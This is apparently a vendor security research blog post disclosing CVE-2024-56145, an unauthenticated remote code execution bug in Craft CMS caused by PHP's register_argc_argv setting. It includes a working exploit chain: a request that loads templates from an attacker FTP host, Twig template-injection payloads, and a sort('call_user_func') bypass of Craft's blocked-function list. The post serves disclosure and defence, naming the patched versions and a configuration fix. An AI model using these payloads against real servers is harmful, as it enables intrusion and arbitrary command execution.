Research Notes
December 19, 2024

How an obscure PHP footgun led to RCE in Craft CMS

No items found.
Creative Commons license

Most developers would agree that PHP is a much saner, safer and more secure language than it was 15 years ago. The fractal of bad design that was rooted in the early days of PHP5 has given way to a much better development ecosystem with classes, autoloading, stricter types, saner syntax, and a whole host of other improvements. Security, also, has not been neglected.

Some older readers might remember the dark days of register_globals and magic_quotes_gpc, which are thankfully now gone. In the modern era a lot of the remaining security footguns have also now been fixed or mitigated; you can no longer get RCE from a simple is_file('phar://...'), we no longer have 'abc' == 0, and dangerous constructs such as assert($str) and preg_replace('/.../e') have been removed from the language.

However, PHP still has quite a few interesting behaviors which can surprise developers and cause security issues, one of which we will shine a light on today.

Craft CMS is one of the most popular PHP based CMSes in the world, boasting over 150,000 sites worldwide. It has a thriving developer ecosystem and is popular enough to have its own StackExchange site. They have a healthy, well maintained codebase as well as a bug bounty program. We show in this blog post that under a common (default) configuration of PHP we can achieve unauthenticated Remote Code Execution.

The Craft CMS team published their official advisory today, and assigned this vulnerability as CVE-2024-56145.

We found this technology to be prevalent across large enterprises and customers of our Attack Surface Management platform, warranting a thorough investigation by our Security Research team to help our customers understand the true exposure they had on their Attack Surface when running Craft CMS.

register_argc_argv 101

Any developer familiar with developing PHP to be used on the command line will be familiar with $_SERVER['argc'] and $_SERVER['argv']. Like you might guess, these are special variables that are populated with the command line arguments passed when a PHP script is ran. For example, if you write a simple PHP script:

<?php var_dump($_SERVER['argv']);

And run php test.php foo bar baz, you will get:

array(4) {
  [0]=>
  string(7) "test.php"
  [1]=>
  string(3) "foo"
  [2]=>
  string(3) "bar"
  [3]=>
  string(3) "baz"
}

Which should be familiar, coming from a C background. But what happens if you host this file on a web server? This is controlled by the register_argc_argv configuration variable in the php.ini. In PHP's default configuration, register_argc_argv is on, and PHP will actually take argv from the query string, separated by spaces:

GET /test.php?foo+bar+baz

array(3) {
  [1]=>
  string(3) "foo"
  [2]=>
  string(3) "bar"
  [3]=>
  string(3) "baz"
}

However, populating this variable is a performance hit, and most web applications don't need to take arguments this way. So it is also very common for distros and shared hosts to configure this setting off. If register_argc_argv is Off, $_SERVER['argv'] will simply not be populated. If you have PHP downloaded on your local environment and you test this right now, there's a high chance that $_SERVER['argv'] will simply be NULL.

If you are a developer wanting to test if a file is being executed via the command line or via the web, you may be tempted to test with something like:

if (isset($_SERVER['argv'])) {
	// cli ...
}
else {
	// web ...
}

And this will work, some of the time! But it will only work if register_argc_argv is set to off. If you run this code on a webserver in a default installation of PHP and pass a query string, this code will think it's being run via the CLI. Critically, the Craft CMS official docker has register_argc_argv = On. This sets the stage for our bug.

Locating the bug

One of the very first files loaded when requesting any path in a Craft CMS application is bootstrap/bootstrap.php. Since this bootstraps both the Craft CMS web and also craft console commands, it checks to see if some command line options have been passed:

$findConfig = function(string $cliName, string $envName) {
    return App::cliOption($cliName, true) ?? App::env($envName);
};

// Set the vendor path. By default assume that it's 4 levels up from here
$vendorPath = FileHelper::normalizePath($findConfig('--vendorPath', 'CRAFT_VENDOR_PATH') ?? dirname(__DIR__, 3));

// Set the "project root" path that contains config/, storage/, etc. By default assume that it's up a level from vendor/.
$rootPath = FileHelper::normalizePath($findConfig('--basePath', 'CRAFT_BASE_PATH') ?? dirname($vendorPath));

// By default the remaining files/directories will be in the base directory
$dotenvPath = FileHelper::normalizePath($findConfig('--dotenvPath', 'CRAFT_DOTENV_PATH') ?? "$rootPath/.env");
//var_dump($dotenvPath);die;
$configPath = FileHelper::normalizePath($findConfig('--configPath', 'CRAFT_CONFIG_PATH') ?? "$rootPath/config");
$contentMigrationsPath = FileHelper::normalizePath($findConfig('--contentMigrationsPath', 'CRAFT_CONTENT_MIGRATIONS_PATH') ?? "$rootPath/migrations");
$storagePath = FileHelper::normalizePath($findConfig('--storagePath', 'CRAFT_STORAGE_PATH') ?? "$rootPath/storage");
$templatesPath = FileHelper::normalizePath($findConfig('--templatesPath', 'CRAFT_TEMPLATES_PATH') ?? "$rootPath/templates");
$translationsPath = FileHelper::normalizePath($findConfig('--translationsPath', 'CRAFT_TRANSLATIONS_PATH') ?? "$rootPath/translations");
$testsPath = FileHelper::normalizePath($findConfig('--testsPath', 'CRAFT_TESTS_PATH') ?? "$rootPath/tests");

This delegates the actual checking to App::cliOption, which looks like this:

public static function cliOption(string $name, bool $unset = false): string|float|int|bool|null
    {
        if (!preg_match('/^--?[\w-]+$/', $name)) {
            throw new InvalidArgumentException("Invalid CLI option name: $name");
        }

        if (empty($_SERVER['argv'])) {
            return null;
        }

        // We shouldn’t count on array being perfectly indexed
        $keys = array_keys($_SERVER['argv']);
        $nameLen = strlen($name);

        // ... process option ! ...
    }

This function does not check at all that we are actually in the CLI, meaning we can set these options via the query string! As a quick check, passing a query string like ?--configPath=/aaa will force Craft CMS to look for a config file in an inaccessible location - on a vulnerable website it will look like this:

Exploiting the bug

The bug itself is not super deep and can be traced and verified fairly quickly. But the path to RCE is not at all clear. As a security researcher, our intuition says that this bug feels like RCE, but there is no easy win here, as we only control the prefix of the loaded files. At this point we went through several 'standard' options for escalating what is essentially an arbitrary include to RCE. At this point we went through several approaches:

There is no clear way to upload files to Craft CMS pre auth, so uploading a malicious .env seems out of the question. There may be a way via the PHP_SESSION_UPLOAD_PROGRESS trick, which is well documented, but it's unclear how the serialization format would work as a dotenv file and besides, we want to avoid a messy race condition if possible.

The next option is to do something with the configPath or the templatesPath. Both of these load executable code. Having control over the prefix of the loaded path, our first intuition was to use the http wrapper to remotely include a file which could then execute code. The idea is simple; if we provide a prefix such as http://malicious.example.com/, then the server will request a file like http://malicious.example.com/config/default.php, which is fully under our control. However, in both the configPath and templatesPath case, Craft CMS defensively checks if the file exists before loading it with a check like:

        $path = $this->getConfigFilePath($filename);

        if (!file_exists($path)) {
            return [];
        }

According to the PHP docs, file_exists is not supported for the http wrapper (it comes under stat()), so this check will always fail.

If you follow current popular PHP exploitation trends, you might wonder if we can use some php://filter trick, but this also doesn't work for the same reason; the php wrapper does not support stat() and so the file_exists check will always fail before anything is loaded.

So far, the current blocker to using a wrapper has been that none of the ones we have considered support any sort of file_exists call. So what wrappers do support these calls? Going down the standard list of supported wrappers, and looking at the documentation for each:

- file:// supports stat(), but this is clearly unhelpful;
- phar:// also supports stat(), but we can't easily smuggle a valid PHAR file onto the filesystem;
- ftp:// does indeed support some file system calls, including file_exists; interesting...

We can't use the FTP wrapper to include a config file, since that ultimately called include and FTP wrappers are blocked by the allow_url_include security feature. But we can use it to include a template, which is just read via a simple file_get_contents call.

For testing, if you request the root path of a Craft CMS application it will try and load default/index.twig. So we created an FTP server allowing anonymous access and served an index.twig that looks like:

hello world {{7*7}}

And indeed, we can see that Craft CMS loads our supplied file, including the template:

GET /?--templatesPath=ftp://a:a@our.malicious.server:2121/ HTTP/1.1
Host: localhost:8000

...

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 19 Nov 2024 00:10:50 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: Craft CMS
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Referrer-Policy: no-referrer-when-downgrade
Content-Length: 15

hello world 49

From here the task is almost trivial, except there is one more hurdle; if you simply paste a Twig template injection from the internet like the following you might notice it doesn't seem to work:

{{ ['id'] | filter('system') }}

This is because Craft CMS makes some attempts to sandbox the Twig template renderer, to protect against malicious administrator users (or perhaps, in shared hosting environments). As part of this, they implement a check on any filter which takes a function name as argument in src/web/twig/Extension.php:

    private static function checkArrowFunction(mixed $arrow, string $thing, string $type): void
    {
        if (
            is_string($arrow) &&
            in_array(ltrim(strtolower($arrow), '\\'), [
                'system',
                'passthru',
                'exec',
                'file_get_contents',
                'file_put_contents',
            ])
        ) {
            throw new RuntimeError(sprintf('The "%s" %s does not support passing "%s".', $thing, $type, $arrow));
        }
    }

This is however, of course, not really a serious barrier to exploitation via templates. There are a number of ways to bypass this, but we used the sort filter, which takes a function with two arguments, and passed the following:

{{ ['system', 'id'] | sort('call_user_func') }}

Since call_user_func is used as the sort function, it will be invoked to compare 'system' and 'id', executing call_user_func('system', 'id'). This will then call system('id'), without directly passing the system function to the filter. Editing the file on our FTP host to contain this payload, we observe we have achieved remote code execution!

Conclusion

The behaviour of the register_argc_argv flag is not intuitive and this will probably not be the last security vulnerability caused in this way. Unless a developer explicitly checks that the code in running in CLI (for example, by checking PHP_SAPI) code written using $_SERVER['argv'] is likely vulnerable to similar attacks to the ones outlined above.

This vulnerability was promptly fixed by the Craft CMS team in less than 24 hours and any installation running 5.5.2+ or 4.13.2+ is protected. If for some reason upgrading is not possible, you can simply configure register_argc_argv=Off in your php.ini file.

As always, customers of our Attack Surface Management platform have been notified for the presence of this vulnerability. We continue to perform original security research in an effort to inform our customers about zero-day and N-day vulnerabilities in their attack surface.

Written by:
Adam Kues
Your subscription could not be saved. Please try again.
Your subscription has been successful.

Get updates on our research

Subscribe to our newsletter and stay updated on the newest research, security advisories, and more!

Ready to get started?

Get on a call with our team and learn how Assetnote can change the way you secure your attack surface. We'll set you up with a trial instance so you can see the impact for yourself.